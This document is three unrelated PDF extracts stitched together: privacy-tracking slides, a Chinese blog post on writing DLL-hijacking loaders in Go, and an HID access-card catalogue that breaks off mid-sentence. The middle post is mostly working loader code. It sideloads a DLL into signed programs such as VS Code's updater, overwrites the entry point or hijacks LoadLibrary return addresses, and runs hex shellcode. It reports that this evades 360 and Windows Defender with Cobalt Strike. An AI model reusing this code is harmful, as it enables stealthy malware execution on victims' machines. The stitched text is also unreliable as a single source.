http://www.nytimes.com/2008/03/10/technology/10privacy.html?pagewanted=1&_r=1&hp / Comscore Unique Visitors (millions / month) http://www.nytimes.com/2008/03/10/technology/10privacy.html?pagewanted=1&_r=1&hp & Comscore • 1.319 Billion for Year End 2007 • 20% Overall Penetration source: http://www.internetworldstats.com/stats.htm Information Leakage on a PC Information Leakage and Spurious Emanations on a Network ISPs vs. Large Online Companies Online Company • Sees global traffic from many customers – domain specific • Advertising and embedded content brings in additional information • Limited knowledge of user identity • Extensive datamining ISP • Sees all traffic from its set of customers – except encrypted traffic – traffic analysis • Limited to no visibility on non-customers • Knows identity and location of accounts • Ability to manipulate network flows – DNS – blocking P2P Vantage Points of ISPs vs Online Companies DNS Based Vulnerabilities Major Threat Vectors • Email • Search • Mobile Phones • FTP Replacement • Web office suites • Mapping • ... The Many Flavors of Search (Simply Google) Malware Search http://metasploit.com/research/misc/mwsearch/index.html http://www.theregister.co.uk/2006/07/18/malware_search/ Motivation • Cost benefit analysis – users – webmasters – bloggers • Short-term gain vs. long term risks • stats • boils down to trust and awareness If the content on the web it is fair game. Case Studies Craig’s List Ebay Amazon Hotmail Any email that touches any of these servers should be considered compromised. Everyscape http://www.everyscape.com/sanfrancisco-ca.us.aspx Linked In Social networking sites know your contacts and your contacts’ contacts. Old friends will find you and let the site know of the relationship. Map Quest Mapping sites reveal locations of interest, allowing diverse groups of users to be linked. You Send It rot 13 Even the most innocent appearing services should be considered as collecting your data Cross-site Tracking • Web Analytics • Embedded content – Webbugs – YouTube Videos • Advertising – Doubleclick – AdSense • Referer data • Javascript Libraries • Clickthrough Tracking A Visit to MSNBC 0.0.0.0 255.255.255.255 • a365.ms.akamai.net • a509.cd.akamai.net • ad.3ad.doubleclick.net • amch.questionmarket.com • c.live.com.nsatc.net • c.msn.com.nsatc.net • rad.msn.com.nsatc.net • context3.kanoodle.com • global.msads.net.c.footprint.net • hm.sc.msn.com.c.footprint.net • msnbcom.112.2o7.net • prpx.service.mirror-image.net • wrpx.service.mirror-image.net • switch.atdmt.com • view.atdmt.com • www-google-analytics.l.google.com • 16 third-party sites • 10 separate companies http://www.msnbc.msn.com/ Third Party Content and Web Bugs Linking a User Across Many Platforms Linking Users, Groups, and Organizations Advertising – The DoubleClick Model Click Through Tracking Browser Supplied Information Google-Analytics var _gat=new Object({c:"length",lb:"4.2",m:"cookie",b:undefined,cb:function(d,a) {this.zb=d;this.Nb=a},r:"__utma=",W:"__utmb=",ma:"__utmc=",Ta:"__utmk=",na:"__utmv=",oa:"__utmx=",Sa:"GASO=",X:"__ut mz=",lc:"http://www.google-analytics.com/__utm.gif",mc:"https://ssl.google-analytics.com/__utm.gif",Wa:"utmcid=",Ya:"utmcsr=", $a:"utmgclid=",Ua:"utmccn=",Xa:"utmcmd=",Za:"utmctr=",Va:"utmcct=",Hb:false,_gasoDomain:undefined,_gasoCPath:undefined,e :window,a:document,k:navigator,t:function(d){var a=1,c=0,g, o;if(!_gat.q(d)){a=0;for(g=d[_gat.c]-1;g>=0;g--) {o=d.charCodeAt(g);a=(a<<6&268435455)+o+(o<<14);c=a&266338304;a=c!=0?a^c>>21:a}}return a},C:function(d,a,c){var g=_gat,o="-",k,m,q=g.q;if(!q(d)&&!q(a)&&!q(c)){k=g.w(d,a);if(k>-1){m=d.indexOf(c,k);if(m<0)m=d[g.c];o=g.F(d,k+g.w(a,"=") +1,m)}}return o},Ea:function(d){var a=false,c=0,g,o;if(!_gat.q(d)){a=true;for(g=0;g<d[_gat.c];g++){o=d.charAt(g);c+="."==o? 1:0;a=a&&c<=1&&(0==g&&"-"==o||_gat.P(".0123456789",o))}}return a},d:function(d,a){var c=encodeURIComponent; return c instanceof Function?(a?encodeURI(d):c(d)):escape(d)},J:function(d,a){var c=decodeURIComponent,g;d=d.split("+").join(" ");if(c instanceof Function)try{g=a?decodeURI(d):c(d)}catch(o){g=unescape(d)}else g=unescape(d);return g},Db:function(d){return d&&d.hash?_gat.F(d.href,_gat.w(d.href,"#")):""},q:function(d){return _gat.b==d||"-"==d||""==d},Lb:function(d){return d[_gat.c]>0&&_gat.P(" \n\r\t",d)},P:function(d,a){return _gat.w(d,a)>-1},h:function(d,a){d[d[_gat.c]]=a},T:function(d){return d.toLowerCase()}, z:function(d,a){return d.split(a)},w:function(d,a){return d.indexOf(a)},F:function(d,a,c){c=_gat.b==c? d[_gat.c]:c;return d.substring(a,c)},uc:function(){var d=_gat.b,a=window;if(a&&a.gaGlobal&&a.gaGlobal.hid)d=a.gaGlobal.hid;else{d=Math.round(Math.random()*2147483647);a.gaGlo bal=a.gaGlobal?a.gaGlobal:{};a.gaGlobal.hid=d}return d},wa:function(){return Math.round(Math.random()*2147483647)},Gc:function(){return(_gat.wa()^_gat.vc())*2147483647},vc:function(){var d=_gat.k,a=_gat.a,c=_gat.e,g=a[_gat.m]? a[_gat.m]:"",o=c.history[_gat.c],k,m,q=[d.appName,d.version,d.language? d.language:d.browserLanguage,d.platform,d.userAgent,d.javaEnabled()? 1:0].join("");if(c.screen)q+=c.screen.width+"x"+c.screen.height+c.screen.colorDepth;else if(c.java) {m=java.awt.Toolkit.getDefaultToolkit().getScreenSize();q+=m.screen.width+"x"+m.screen.height}q+=g;q+=a.referrer? a.referrer:"";k=q[_gat.c];while(o>0)q+=o--^k++;return _gat.t(q)}});_gat.hc=function(){var d=this,a=_gat.cb;function c(g,o) {return new a(g,o)}d.db="utm_campaign";d.eb="utm_content";d.fb="utm_id";d.gb="utm_medium";d.hb="utm_nooverride";d.ib="utm_source"; d.jb="utm_term";d.kb="gclid";d.pa=0;d.I=0;d.wb="15768000";d.Tb="1800";d.ea=[];d.ga=[];d.Ic="cse";d.Gb="q";d.ab="google"; d.fa=[c(d.ab,d.Gb),c("yahoo","p"),c("msn","q"),c("aol","query"),c("aol","encquery"),c("lycos","query"),c("ask","q"),c("altavista","q"),c ("netscape","query"),c("cnn","query"),c("looksmart","qt"),c("about", "terms"),c("mamma","query"),c("alltheweb","q"),c("gigablast","q"),c("voila","rdata"),c("virgilio","qs"),c("live","q"),c("baidu","wd"),c(" alice","qs"),c("yandex","text"),c("najdi","q"),c("aol","q"),c("club- internet","query"),c("mama","query"),c("seznam","q"),c("search","q"),c("wp","szukaj"),c("onet","qt"),c("netsprint","q"),c("google.inte ria","q"),c("szukacz","q"),c("yam","k"),c("pchome","q"),c("kvasir","searchExpr"),c("sesam","q"),c("ozu","q"),c("terra","query"),c("nost rum","query"),c("mynet","q"), c("ekolay","q"),c("search.ilse","search_for")];d.B=undefined;d.Kb=false;d.p="/";d.ha=100;d.Da="/__utm.gif";d.ta=1;d.ua=1;d.G=" |";d.sa=1;d.qa=1;d.pb=1;d.g="auto";d.D=1;d.Ga=1000;d.Yc=10;d.nc=10;d.Zc=0.2};_gat.Y=function(d,a){var c,g,o,k,m,q,r,f=this,p=_gat,w=p.q,x=p.c,i,z=a;f.a=d;function A(h){var b=h instanceof Array?h.join("."):"";return w(b)?"-":b}function B(h,b){var e=[],j;if(!w(h)){e=p.z(h,".");if(b)for(j=0;j<e[x];j++)if(!p.Ea(e[j]))e[j]="-"}return e}function n() {return u(63072000000)}function u(h){var b=new Date,e=new Date(b.getTime()+h);return"expires="+e.toGMTString()+"; "}function l(h,b){f.a[p.m]=h+"; path="+z.p+"; "+b+f.Cc()}function s(h,b,e){var j=f.V,t,v;for(t=0;t<j[x];t++){v=j[t][0]; v+=w(b)? http://www.google-analytics.com/ga.js AJAX Libraries API • jQuery • prototype • script.acu lo.us • MooTools • dojo • cached http://code.google.com/apis/ajaxlibs/ <script src="http://www.google.com/jsapi"></ script> <script>   google.load("jquery", "1"); // Load jQuery google.setOnLoadCallback(function() { $.getJSON("http://ajax.googleapis.com/ajax/s ervices/search/web? q=google&;v=1.0&;callback=?",   function (data) {         if (data.responseDate.results && data.responseDate.results.length>0) { renderResults(data.responseDate.results);         }       });     }); </script> Ebay pulling ads from a Yahoo server Profiling “Career Watcher” Tacoda, The Home of Behavioral Targeting, http://www.tacoda.com/ “Active Gamer” • Google hackers • Security researchers • Political activists • Company XXX employee • Corporate leaders • Law enforcement officer • Government official Data Mining http://xkcd.com/369/ Countermeasures • Patching Users – Raised Awareness – Know What You are Disclosing – Usable Security – ... • Technical Countermeasures – Cookie Managers – Content Filtering – Self-monitoring – Search Term Chaffing – Encryption – Anonymizing Proxies – Tor – NAT Firewalls – ... • Policy Countermeasure – Petition Law and Policy Makers – Support EFF and other Privacy Organizations – ... TrackMeNot TorCheck Tor Button Chained Proxies Threat Spectrum Likely Less Likely Data Spills Government collaboration User profiling Targeted advertising Third-party sharing User fingerprinting Cross-site tracking Redirect to malicious sites Search result ranking manipulation DNS Redirection Service eliminated Future Countermeasures • Plug-in that monitors information disclosures • Plug-in that displays third- party contacts – at least serve as a history function for the status bar Conclusions • what online companies posses vs. what they share are two entirely different things – blurring streetview – blurring google maps – internal search logs vs. public interface Acknowledgements • 3efd09cddc148ee790d17e35ae323852 • Kulsoom Abdullah • Ed Sobiesk • New Security Paradigms Workshop • Symposium on Usable Privacy and Security Questions?
pdf
用Golang编写 dll劫持的一些坑 (3) 源于知识星球的一个想法,利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。 我想用Golang编写劫持的dll,这样也方便可以做成在线平台。 我们的目标不是让它弹一个信息框,而是让它执行shellcode,并且使用一些hook技术保证白程序只加 载一个dll的同时不和后续的代码冲突 这需要我们编写一个通用的dll白加黑的劫持模板,当然dll加载模 式不同劫持的方式也不同。 我找到是vscode它的更新程序,也有它官方的签名 被劫持的dll在 inno_updater.exe 的导入表中,这种劫持可以叫它 pre-load ,我只用实现它的5个函数 就可以了。 因为我想做成通用型的,对于这种输入表导入的dll做劫持,只需要在 DllMain 中获取主程序的入口点, 然后将shellcode写入入口点,之后主程序运行就会执行我们的shellcode了。 C代码如下 测试过是能够正常使用的。 但是把它转成Go的过程中,踩了不少坑。 C代码转换为Go int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH:            hello_func(); break; case DLL_PROCESS_DETACH: break; } return TRUE; } void hello_func(){    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);    DWORD entryPoint = (DWORD)baseAddress + ntHeader- >OptionalHeader.AddressOfEntryPoint;    DWORD old;    VirtualProtect(entryPoint, size, 0x40, &old);    for(int i=0;i<size;i++){        *((PBYTE)entryPoint+i) = shellcode[i];   }    VirtualProtect(entryPoint, size, old, &old); } 读取PE入口点用来写shellcode,用Windows API GetModuleHandle 可以得到PE进程的内存地址,根 据内存地址加减偏移就可以得到入口点。 我原本使用了 github.com/Binject/debug/pe 库,它里面有一个 pe.NewFileFromMemory() 函数,可 以直接从内存中读取,但是它的参数是需要一个 io 类型,文件的io自身有很多api,但是对内存的io, 资料好少。 最后找了很多资料,发现只能自己实现io的接口 但问题来了, ReadAt 接口要求我们自己读完了就返回 io.EOF ,我是从内存空间读的,我不知道什么时 候读完。 就这么纠结了好久,虽然现在写的时候想到了,我可以实现这个 ReadAt ,长度我可以生成模板的时候 硬写进去,但又感觉没必要,因为我根据PE的偏移写好了。 直接就不用它的库了,手动根据偏移去寻找入口点。 type ReaderAt interface { ReadAt(p []byte, off int64) (n int, err error) } var ( kernel32           = syscall.NewLazyDLL("kernel32.dll") getModuleHandle    = kernel32.NewProc("GetModuleHandleW") procVirtualProtect = kernel32.NewProc("VirtualProtect") ) func GetModuleHandle() (handle uintptr) { ret, _, _ := getModuleHandle.Call(0) handle = ret return } // 将shellcode写入程序ep func loader_from_ep(shellcode []byte) { baseAddress := GetModuleHandle() fmt.Println(strconv.FormatInt(int64(baseAddress), 16)) // pe读dos header ptr := unsafe.Pointer(baseAddress + uintptr(0x3c)) v := (*uint32)(ptr) ntHeaderOffset := *v //ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(0x4)) //v2 := (*uint16)(ptr)    // 这个可以读取PE的架构信息,最后发现入口点的偏移都是固定的 // x32和x64通用 ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40)) ep := (*uint32)(ptr) fmt.Println(ep, *ep) var entryPoint uintptr entryPoint = baseAddress + uintptr(*ep) var oldfperms uint32 if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") Go实现DllMain DllMain是dll在创建或退出时的消息函数,要把shellcode写入PE的入口点,就必须在这里执行代码。但 是Go里面没有这样相关的定义,搜索资料,有人说用 init() 函数可以,我试了下, init() 函数执行 是在代码运行的时候加载的,也就是pe运行了,执行到了相关导出函数的时候,会先执行 init() 代 码,但是这个时候写shellcode到PE头部就已经没用了。 最后发现了怎么做,就是混编C和Go,而且比较麻烦。 dllmain.go dllmain.h main.go } WriteMemory(shellcode, entryPoint) if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } } package main //#include "dllmain.h" import "C" #include <windows.h> extern void test(); BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        MessageBox(0,0,0,0);        CreateThread(NULL, 0, test, NULL, 0, NULL);        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup.        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break;   }    return TRUE; // Successful. } package main import "C" import ( "encoding/hex" "fmt" "strconv" "syscall" "unsafe" ) const ( MEM_COMMIT     = 0x00001000 MEM_RESERVE    = 0x00002000 MEM_RELEASE    = 0x8000 PAGE_READWRITE = 0x04 ) var ( kernel32           = syscall.NewLazyDLL("kernel32.dll") getModuleHandle    = kernel32.NewProc("GetModuleHandleW") procVirtualProtect = kernel32.NewProc("VirtualProtect") ) //WriteMemory writes the provided memory to the specified memory address. Does **not** check permissions, may cause panic if memory is not writable etc. func WriteMemory(inbuf []byte, destination uintptr) { for index := uint32(0); index < uint32(len(inbuf)); index++ { writePtr := unsafe.Pointer(destination + uintptr(index)) v := (*byte)(writePtr) *v = inbuf[index] } } func GetModuleHandle() (handle uintptr) { ret, _, _ := getModuleHandle.Call(0) handle = ret return } func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { ret, _, _ := procVirtualProtect.Call( uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(lpflOldProtect)) return ret > 0 } // 将shellcode写入程序ep func loader_from_ep(shellcode []byte) { baseAddress := GetModuleHandle() ptr := unsafe.Pointer(baseAddress + uintptr(0x3c)) v := (*uint32)(ptr) ntHeaderOffset := *v ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40)) 编译脚本 (Windows上) ep := (*uint32)(ptr) var entryPoint uintptr entryPoint = baseAddress + uintptr(*ep) var oldfperms uint32 if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } WriteMemory(shellcode, entryPoint) if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } } //export _except_handler4_common func _except_handler4_common() {} //export memcmp func memcmp() {} //export memcpy func memcpy() {} //export memset func memset() {} //export memmove func memmove() {} //export test func test() { shellcode, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac 3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a 498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01 d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87 ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300") // calc的shellcode if err != nil { panic(err) } loader_from_ep(shellcode) } func main() { } set GOOS=windows set GOARCH=386 set CGO_ENABLED=1 go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared 坑点 dllmain.h的DllMain 在DllMain DLL_PROCESS_ATTACH的时候,我想调用go里面的 test 函数,我必须使用线程。。如果直 接调用,不使用线程的话,它会一直卡住,用od调试,发现它卡在了死锁上。。 用了CreateThread可以,它会把入口点写入shellcode,但是这个时候它是先执行了入口,再写入的 shellcode,虽然函数运行成功,但是没有意义了。 这就是我遇到的坑点。。 虽然可以用C写,Go调用,但这样我用Go的意义就不在了呀。。 改写入口点 直接把入口点写个死循环,然后调用Go的代码,不就绕过了这个限制。 死循环的代码就随便发挥了 dllmain.h BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        CreateThread(NULL, 0, test, NULL, 0, NULL); // 必须使用线程        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup.        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break;   }    return TRUE; // Successful. } 77C71B73   50             push eax 77C71B74   58             pop eax 77C71B75 ^ EB FC           jmp short 77C71B73 #include <windows.h> 杀毒测试 就这么简单改写后,测试杀毒免杀360,cs也能正常使用。 extern void test(); void dlljack(){    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);    DWORD entryPoint = (DWORD)baseAddress + ntHeader- >OptionalHeader.AddressOfEntryPoint;    DWORD old;    BYTE shellcode[4] = { 0x50,0x58,0xEB,0xFC };    int size = 4;    VirtualProtect((LPVOID)entryPoint, size, PAGE_READWRITE, &old);    for (int i = 0; i < size; i++) {        *((PBYTE)entryPoint + i) = shellcode[i];   }    VirtualProtect((LPVOID)entryPoint, size, old, &old);    CreateThread(NULL, 0, test, NULL, 0, NULL); } BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        //CreateThread(NULL, 0, test, NULL, 0, NULL);        dlljack();        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup.        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break;   }    return TRUE; // Successful. } 并且白进程会一直驻留。 windows defender 也不杀也能正常上线 Post-Load 加载 dll在主程序导入表没有,而是程序通过 LoadLibrary 动态调用的,称这类dll为 post-load 类型。 当程序使用 LoadLibrary 进行加载的时候,它的调用堆栈类似以下 所以我们可以劫持 LdrLoadDll 堆栈的返回地址,让程序LoadLibrary之后跳到我们的程序空间。 C语言代码 KernelBase!LoadLibraryExW <- 要求动态模块加载 ntdll!LdrLoadDll ntdll!LdrpLoadDll ntdll!LdrpLoadDllInternal ntdll!LdrpPrepareModuleForExecution ntdll!LdrpInitializeGraphRecurse <- 建立依赖关系图 ntdll!LdrpInitializeNode ntdll!LdrpCallInitRoutine evil!DllMain <- 执行被传递给外部代码 它同样在C语言上有效,但是移植到Go来,又出现了很多问题。 有了之前被死锁的经验,我这样写的,用C代码搜索堆栈,如果找到了 LdrLoadDll 堆栈函数范围的地址 则直接把堆栈地址修改成go函数的地址。 cgo中dllmain.h代码,因为测试了几次发现不行,加了个 MessageBoxW 代码方便调试。 PVOID Memory = NULL; Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); DWORD oldProtect = 0; VirtualProtect(Memory, 1, PAGE_EXECUTE_READ, &oldProtect);//PAGE_EXECUTE_READWRITE char evilstring[10] = {0x90}; DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandle("ntdll"), "LdrLoadDll"); DWORD* stack =evilstring+(int)evilstring%4; while (1) {    stack++;    if(stack > ldrLoadDll + 0x1000){        printf("over\n");        break;   }    if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {        *stack = (DWORD)Memory;        break;   } } #include <windows.h> extern void test(); void dlljack2(){    char evilstring[10] = { 0x90 };    DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandleA("ntdll"), "LdrLoadDll");    DWORD* stack = (DWORD)evilstring + (DWORD)evilstring % 4;    while (1)   {        stack++;        if ((DWORD)stack > ldrLoadDll + 0x1000) {            break;       }        if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {            *stack = (DWORD)test;            MessageBoxW(0,0,0,0);            break;       }   } } BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function 测试了几次发现不行,于是我用ida看了下代码。 我的这行代码将test函数地址赋值给堆栈的代码竟然凭空消失了。    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        MessageBoxW(0,0,0,0);        dlljack2();        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup.        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break;   }    return TRUE; // Successful. } *stack = (DWORD)test; 消失的代码 很百思不得其解,难道编译器不认识语法将代码给优化了?顺着这个思路,我换成用 memcpy 进行内存 赋值,代码也没出现。 最后加上一个printf,代码就出现了。。 又是死锁 就在得意洋洋运行时,发现还是不能运行,没办法,只能od继续跟,前面都运行的很好,是根据我的设 想来的,堆栈上的地址修改,它也跳到了我修改的地址,但是,它调用go函数的时候,又死锁了。。这 也很好理解,因为它还是在loadlibrary的过程中。 我尝试创建线程运行这个Go,但是线程启动不来,可能因为还在这个loadlibrary的堆栈内,跳出去就能 执行了。 更换hook位置 现在问题就是我们创建线程执行不起来。仔细看了看堆栈 我把注意力移向了 LoadLibraryW 直接hook ldrLoadDll 的下一行呢?此时上一个dll已经加载结束,这里就不存在什么死锁的问题。 void dlljack2(){    char evilstring[10] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };    DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandleA("KernelBase"), "LoadLibraryW");    DWORD* stack = (DWORD)evilstring + (DWORD)evilstring % 4;    DWORD call = (DWORD)&test;    while (1)   {        stack++;        if ((DWORD)stack > ldrLoadDll + 0x100) {            break;       }        if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x100) { 测试成功。 缺点就是这个 LoadLibraryW ,在win10下我们要从 KernelBase 这个dll获取,不太通用。 另一种想法 在思考上述的问题的过程中,想到, post-load 类型我们也完全可以就用go模仿它dll里面的导出函数, 直接在 init() 函数里面执行shellcode就行了。 以网易云为例子 它的导出函数就是一个 CreateExceptionHandler2            *stack = (DWORD)func11;            printf(stack);            MessageBoxW(0,0,0,0);            return;       }   } } package main import "C" import ( "encoding/hex" "syscall" "unsafe" ) const ( PAGE_EXECUTE_READ uintptr = 0x20 ) func RUN(buf []byte) { var hProcess uintptr = 0 var pBaseAddr = uintptr(unsafe.Pointer(&buf[0])) var dwBufferLen = uint(len(buf)) var dwOldPerm uint32 ntdll := syscall.NewLazyDLL("ntdll") ZwProtectVirtualMemory := ntdll.NewProc("ZwProtectVirtualMemory") ZwProtectVirtualMemory.Call(hProcess-1, uintptr(unsafe.Pointer(&pBaseAddr)), uintptr(unsafe.Pointer(&dwBufferLen)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&dwOldPerm))) syscall.Syscall( uintptr(unsafe.Pointer(&buf[0])), 0, 0, 0, 0, ) } 编译 这样也能运行 func RunShellcode() { shellcode, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac 3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a 498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01 d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87 ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300") if err != nil { panic(err) } RUN(shellcode) } func init() { RunShellcode() } //export CreateExceptionHandler2 func CreateExceptionHandler2(){} func main(){} set GOOS=windows set GOARCH=386 set CGO_ENABLED=1 go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared
pdf
HID CARD TECHNOLOGIES HID CARD SERVICES CARD APPLICATIONS proximity (read/write contactless smart chip) magnetic stripe contact smart chip multi-technology cards Wiegand Swipe custom configuration complete cards personalization anti-counterfeiting card management custom artwork photo ID badging programming encoding access control IT secure authentication digital cash & vending biometric template storage time & attendance photo ID badging parking control medical records fare collection data storage CARD? INSIDE your Credential Reference Guide ® What’s ALL THIN CARDS ARE ISO 7810 COMPLIANT. *ISO 7816 compliant for embedding optional contact smart chip module. Dimensions shown are nominal dimensions. Some custom graphics can increase overall card thickness. HID credentials feature a Lifetime Warranty. See HID’s Sales Policy for complete warranty details. Specifications subject to change without notice. Please consult our website, www.HIDCorp.com, for up- to-date specifications. See our “How To Order Guide” for details regarding options and part numbers. Need more than just access control? Leverage your A FULL LINE OF MULTI-TECHNOLOGY ISOPROX® II Base part number: 1386 125 kHz proximity card SMART ISOPROX® II Base part number: 1397 125 kHz proximity card, contact smart chip embeddable* (optional magnetic stripe) HID PROXIMITY AND MIFARE® Base part number: 1431‡ 125 kHz proximity card and 13.56 MHz MIFARE® card (optional magnetic stripe) DUOPROX® II Base part number: 1336 125 kHz proximity card with magnetic stripe SMART PROXIMITY AND MIFARE® Base part number: 1431‡ 125 kHz proximity and 13.56 MHz MIFARE® card, contact smart chip embeddable* (optional magnetic stripe) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" - 0.033" (0.076 - 0.083 cm) (optional) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" - 0.033" (0.076 - 0.083 cm) (optional) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" - 0.033" (0.076 - 0.083 cm) (optional) SMART DUOPROX® II Base part number: 1398 125 kHz proximity card with magnetic stripe, contact smart chip embeddable* (optional magnetic stripe) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" ± 0.003" (0.076 ± 0.0076 cm) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" ± 0.003" (0.076 ± 0.0076 cm) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" ± 0.003" (0.076 ± 0.0076 cm) ® HID offers a dual technology Proximity & MIFARE card. A sector of the MIFARE portion of the card can be programmed with the same HID proximity format you use today! The HID Proximity & MIFARE card offers an excellent solution for customers who are transitioning from one technology to another, or who are using smart card and proximity applications simultaneously. (optional) (optional) C ARD TECHNOLOGIE S & APPLIC ATIONS investment in existing systems by adding new technologies. CREDENTIALS ACCESS CONTROL DIGITAL CASH, VENDING & SECURE TRANSACTIONS IT SECURE AUTHENTICATION 2.125" (5.4cm) 3.370" (8.6cm) 0.030" - 0.033" (0.076 - 0.083 cm) (optional) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" - 0.033" (0.076 - 0.083 cm) (optional) HID now offers iCLASS™ contactless smart card technology, a complete line of credentials and readers optimized for physical access control, IT secure authentication, and other applications. iCLASS cards and readers offer enhanced security through encryption and mutual authentication, as well as the ability to read and write data quickly and securely to the card for many applications. To learn more, visit the iCLASS website at http://www.HIDCorp.com/iclass (optional) iCLASS™ PROX EMBEDDABLE Base part number: 203X 13.56 MHz iCLASS contactless smart card and 125 kHz proximity card, contact smart chip embeddable* iCLASS™ PROX EMBEDDABLE Base part number: 203X 13.56 MHz iCLASS contactless smart card and 125 kHz proximity card, contact smart chip embeddable* (optional magnetic stripe). iCLASS™ PROX Base part number: 202X 13.56 MHz iCLASS contactless smart card and 125 kHz proximity card iCLASS™ PROX Base part number: 202X 13.56 MHz iCLASS contactless smart card and 125 kHz proximity card with optional magnetic stripe 2.125" (5.4cm) 3.370" (8.6cm) 0.030" ± 0.003" (0.076 ± 0.0076 cm) 2.125" (5.4cm) 3.370" (8.6cm) 0.030" ± 0.003" (0.076 ± 0.0076 cm) (optional) Magnetic Stripe Specifications Standard: ABA Standard, 3 track, high coercivity (4000 Oersted). Custom magnetic stripes available upon request. iCLASS™ Read/Write Contactless Smart Chip and Coil iCLASS: Contactless smart chip module • Operating Frequency: 13.56 MHz read/write technology Memory Size: 2kbits (256 Bytes) with 2 application areas or 16kbits (2kBytes) with 2 or 16 application areas Read Range: Up to 4.5" (11.4 cm) depending on local installation conditions and card reader selection RF Interface: As suggested by ISO/IEC 15693 • Format: Any proximity bit format up to 84 bits For more information, use HID's iCLASS Reference Guide or visit our website at www.HIDCorp.com/iclass. MIFARE® Contactless Memory Chip and Coil MIFARE: Contactless memory module • Operating Frequency: 13.56 MHz read/write technology • Memory Size: 8kbits (1k Byte) Read Range: Up to 1.5" (3.8 cm) depending on local installation conditions and card reader selection. RF Interface: As suggested 